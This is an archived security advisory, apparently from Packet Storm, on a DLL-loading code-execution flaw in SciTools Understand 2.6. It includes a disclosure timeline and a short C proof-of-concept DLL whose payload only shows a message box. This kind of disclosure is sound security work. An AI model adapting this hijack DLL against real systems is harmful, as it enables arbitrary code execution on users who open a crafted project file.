exploit the possibilities

SciTools Understand 2.6 DLL Loading Code Execution

SciTools Understand 2.6 DLL Loading Code Execution
Posted Feb 8, 2012
Authored by LiquidWorm | Site zeroscience.mk

A vulnerability in SciTools Understand version 2.6 is caused due to the application loading libraries (wintab32.dll) in an insecure manner. This can be exploited to load arbitrary libraries by tricking a user into opening an Understand Project file (.UDB) located on a remote WebDAV or SMB share.

tags | exploit, remote, arbitrary
SHA-256 | 5cda689106931a122f885350c46515532ff0a47fdb0e7ef0f9f15038b40dc6e7

SciTools Understand 2.6 DLL Loading Code Execution

Change Mirror Download
/*


SciTools Understand 2.6 (wintab32.dll) DLL Loading Arbitrary Code Execution


Vendor: Scientific Toolworks, Inc.
Product web page: http://www.scitools.com
Affected version: 2.6 (build 598)

Summary: Understand is a static analysis tool for maintaining, measuring,
and analyzing critical or large code bases.

Desc: The vulnerability is caused due to the application loading libraries
(wintab32.dll) in an insecure manner. This can be exploited to load arbitrary
libraries by tricking a user into opening an Understand Project file (.UDB)
located on a remote WebDAV or SMB share.

Tested on: Microsoft Windows XP Professional SP3 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Vendor status:

[29.01.2012] Vulnerability discovered.
[30.01.2012] Contact with the vendor.
[30.01.2012] Vendor replies with e-mail info for their european partner.
[30.01.2012] Contacted the new e-mail given with sent details and PoC code.
[31.01.2012] Vendor answers and sends the report to the appropriate division.
[31.01.2012] Asked vendor for confirmation and scheduled patch release date.
[02.02.2012] Vendor responds with confirmation and a scheduled release for a fix.
[08.02.2012] Vendor releases patched version 2.6.600 (Build 600): http://scitools.com/download/latest/Understand/Understand-2.6.600-Windows-32bit.exe.
[08.02.2012] Coordinated public security advisory released.


Advisory ID: ZSL-2012-5071
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5071.php

Vendor advisory: http://www.scitools.com/support/buildLogs.php


29.01.2012

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_mll();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}

return TRUE;
}

int dll_mll()
{
MessageBox(0, "DLL Flownapped!", "DLL Message", MB_OK);
}
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    6 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close